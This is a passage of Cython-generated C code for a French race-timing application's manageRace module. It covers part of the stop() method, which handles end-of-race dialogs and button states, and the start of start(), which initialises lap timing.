PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":109 * msg = QMessageBox() * msg.setIcon( QMessageBox.Warning) * msg.setText( "Tout les concurrents sont hors du parcours") # <<<<<<<<<<<<<< * msg.setWindowTitle( "Course termine, Drapeau Damier") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__13, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":110 * msg.setIcon( QMessageBox.Warning) * msg.setText( "Tout les concurrents sont hors du parcours") * msg.setWindowTitle( "Course termine, Drapeau Damier") # <<<<<<<<<<<<<< * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setWindowTitle); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__14, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":111 * msg.setText( "Tout les concurrents sont hors du parcours") * msg.setWindowTitle( "Course termine, Drapeau Damier") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) # <<<<<<<<<<<<<< * msg.setDefaultButton( QMessageBox.Cancel ) * if msg.exec() == QMessageBox.Cancel: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setStandardButtons); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Ok); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Or(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":112 * msg.setWindowTitle( "Course termine, Drapeau Damier") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) # <<<<<<<<<<<<<< * if msg.exec() == QMessageBox.Cancel: * return */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setDefaultButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":113 * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) * if msg.exec() == QMessageBox.Cancel: # <<<<<<<<<<<<<< * return * print( "Race ended, all racer out ") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_exec); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":114 * msg.setDefaultButton( QMessageBox.Cancel ) * if msg.exec() == QMessageBox.Cancel: * return # <<<<<<<<<<<<<< * print( "Race ended, all racer out ") * theRace._status = manageRace.cmdStop */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; /* "Chrono/manageRace.py":113 * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) * if msg.exec() == QMessageBox.Cancel: # <<<<<<<<<<<<<< * return * print( "Race ended, all racer out ") */ } /* "Chrono/manageRace.py":115 * if msg.exec() == QMessageBox.Cancel: * return * print( "Race ended, all racer out ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdStop * theRace.timer.stop() */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":116 * return * print( "Race ended, all racer out ") * theRace._status = manageRace.cmdStop # <<<<<<<<<<<<<< * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_cmdStop); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2, __pyx_t_1) < 0) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":117 * print( "Race ended, all racer out ") * theRace._status = manageRace.cmdStop * theRace.timer.stop() # <<<<<<<<<<<<<< * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_theRace, __pyx_n_s_timer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_stop); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":118 * theRace._status = manageRace.cmdStop * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__16, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":119 * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(True) * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":120 * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) # <<<<<<<<<<<<<< * * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":106 * Globals.MainWindow.B_Define.setEnabled(True) * * elif theRace._status == manageRace.cmdFinish: # <<<<<<<<<<<<<< * msg = QMessageBox() * msg.setIcon( QMessageBox.Warning) */ } __pyx_L3:; /* "Chrono/manageRace.py":76 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) * * def stop(self): # <<<<<<<<<<<<<< * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("Chrono.manageRace.manageRace.stop", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_theRace); __Pyx_XDECREF(__pyx_v_msg); __Pyx_XDECREF(__pyx_v_chk1); __Pyx_XDECREF(__pyx_v_btn); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":124 * * * def start(self): # <<<<<<<<<<<<<< * if self._status != self.cmdWaiting: * return */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_7start(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_7start = {"start", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_7start, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_7start(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("start (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_6start(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_6start(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_col = NULL; PyObject *__pyx_v_task = NULL; PyObject *__pyx_v_r = NULL; PyObject *__pyx_v_t = NULL; PyObject *__pyx_v_item = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; Py_ssize_t __pyx_t_7; PyObject *(*__pyx_t_8)(PyObject *); int __pyx_t_9; PyObject *__pyx_t_10 = NULL; int __pyx_t_11; PyObject *__pyx_t_12 = NULL; __Pyx_RefNannySetupContext("start", 0); /* "Chrono/manageRace.py":125 * * def start(self): * if self._status != self.cmdWaiting: # <<<<<<<<<<<<<< * return * self.bestLap = self._duration * 1000 # init best with max time */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdWaiting); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_t_2, Py_NE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":126 * def start(self): * if self._status != self.cmdWaiting: * return # <<<<<<<<<<<<<< * self.bestLap = self._duration * 1000 # init best with max time * self.bestLapTb = None # init the transponder info */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; /* "Chrono/manageRace.py":125 * * def start(self): * if self._status != self.cmdWaiting: # <<<<<<<<<<<<<< * return * self.bestLap = self._duration * 1000 # init best with max time */ } /* "Chrono/manageRace.py":127 * if self._status != self.cmdWaiting: * return * self.bestLap = self._duration * 1000 # init best with max time # <<<<<<<<<<<<<< * self.bestLapTb = None # init the transponder info * self.bestPartial = {} */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = PyNumber_Multiply(__pyx_t_3, __pyx_int_1000); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_bestLap, __pyx_t_2) < 0) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":128 * return * self.bestLap = self._duration * 1000 # init best with max time * self.bestLapTb = None # init the transponder info # <<<<<<<<<<<<<< * self.bestPartial = {} * self._status = self.cmdStart */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_bestLapTb, Py_None) < 0) __PYX_ERR(0, 128, __pyx_L1_error) /* "Chrono/manageRace.py":129 * self.bestLap = self._duration * 1000 # init best with max time * self.bestLapTb = None # init the transponder info * self.bestPartial = {} # <<<<<<<<<<<<<< * self._status = self.cmdStart * print( self._status ) */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_bestPartial, __pyx_t_2) < 0) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":130 * self.bestLapTb = None # init the transponder info * self.bestPartial = {} * self._status = self.cmdStart # <<<<<<<<<<<<<< * print( self._status ) * self.start_time_ms = int( time() * 1000 ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdStart); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_status_2, __pyx_t_2) < 0) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":131 * self.bestPartial = {} * self._status = self.cmdStart * print( self._status ) # <<<<<<<<<<<<<< * self.start_time_ms = int( time() * 1000 ) * self.start_time = int( self.start_time_ms / 1000 ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) 